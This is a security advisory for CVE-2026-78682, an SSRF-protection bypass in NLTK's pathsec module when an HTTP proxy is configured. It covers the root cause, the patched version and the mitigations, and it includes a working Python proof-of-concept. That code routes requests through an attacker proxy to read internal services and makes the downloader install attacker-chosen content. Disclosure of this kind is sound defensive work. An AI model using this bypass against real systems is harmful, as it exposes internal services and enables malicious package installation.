highCVE-2026-78682Sep 8, 2026

CVE-2026-78682: NLTK pathsec SSRF Protection Bypass via HTTP Proxy

Shubham Kandhare
Security Engagement Manager, SecureLayer7

NLTK's built-in SSRF guard can be completely bypassed when an HTTP proxy is configured, letting an attacker route a seemingly safe public URL through the proxy to any internal-only service.

Packagenltk
Ecosystempip
Affected<= 3.10.2
Fixed in3.10.3
CVE-2026-78682: NLTK pathsec SSRF Protection Bypass via HTTP Proxy

The problem

nltk.pathsec.urlopen validates the requested hostname locally before opening the connection. When a proxy is configured, the actual fetch is delegated to that proxy via inherited ProxyHandler instances, which replace the safe _SafeHTTPHandler and _SafeHTTPSHandler that enforce the IP-pinning logic.

Because the proxy performs the real egress, the validated hostname never matches the actual destination reached. Any caller trusting pathsec as an SSRF barrier in a proxied environment is fully exposed: internal HTTP resources can be read, forged downloader indexes can be loaded, and attacker-chosen package content can be installed via Downloader.index() and Downloader.download().

Proof of concept

A working proof-of-concept for CVE-2026-78682 in nltk, with the exact payload below.

python
import os
import urllib.request
import nltk.pathsec as pathsec

# Precondition: attacker controls a proxy that forwards
# requests for the validated public IP to an internal target.
# The internal server listens on 127.0.0.1:18080 and
# serves secret content. The proxy is at 127.0.0.1:18081.

os.environ["http_proxy"] = "http://127.0.0.1:18081"

# pathsec validates 93.184.216.34 (example.com) -- passes.
# The proxy silently forwards to the loopback service instead.
response = pathsec.urlopen("http://93.184.216.34/")
print(response.read())  # prints internal secret content

# Same bypass works through the higher-level APIs:
import nltk.data
nltk.data.load("http://93.184.216.34/corpus.zip")  # reads internal ZIP

from nltk.downloader import Downloader
d = Downloader(server_index_url="http://93.184.216.34/index.xml")
d.index()     # parses attacker-controlled internal index
d.download("punkt")  # installs attacker-chosen content

The root cause is a confused deputy pattern (CWE-441 / CWE-918): pathsec performs hostname validation, then hands the request to urllib's opener. When a ProxyHandler is present in the global opener, urllib copies it into the request chain and marks the request as proxied, which causes it to skip _SafeHTTPHandler and _SafeHTTPSHandler entirely.

Those handlers are what pin the connection to the pre-validated IP address. Without them, the actual TCP egress goes wherever the proxy decides to send it.

The patch removes the pretense that NLTK can validate egress through a proxy. Under ENFORCE=True, any proxied fetch now raises PermissionError immediately. Operators who trust their proxy can opt back in by setting NLTK_ALLOW_PROXIED_URLOPEN=1 or nltk.pathsec.ALLOW_PROXIED_FETCH=True.

Under ENFORCE=False the refusal degrades to a warning. Both environment-inherited proxies and explicitly constructed ProxyHandler instances are covered by this fix.

The fix

Upgrade to nltk 3.10.3 (commit 767333a005a1cd3d82d2029215f2dbe66a5844d9). Under ENFORCE=True, proxied fetches now raise PermissionError unless the opt-in flag NLTK_ALLOW_PROXIED_URLOPEN=1 (env) or nltk.pathsec.ALLOW_PROXIED_FETCH=True (runtime) is explicitly set.

If you cannot upgrade immediately, set nltk.pathsec.ENFORCE=True to ensure any policy violation fails closed rather than emitting a warning and proceeding.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research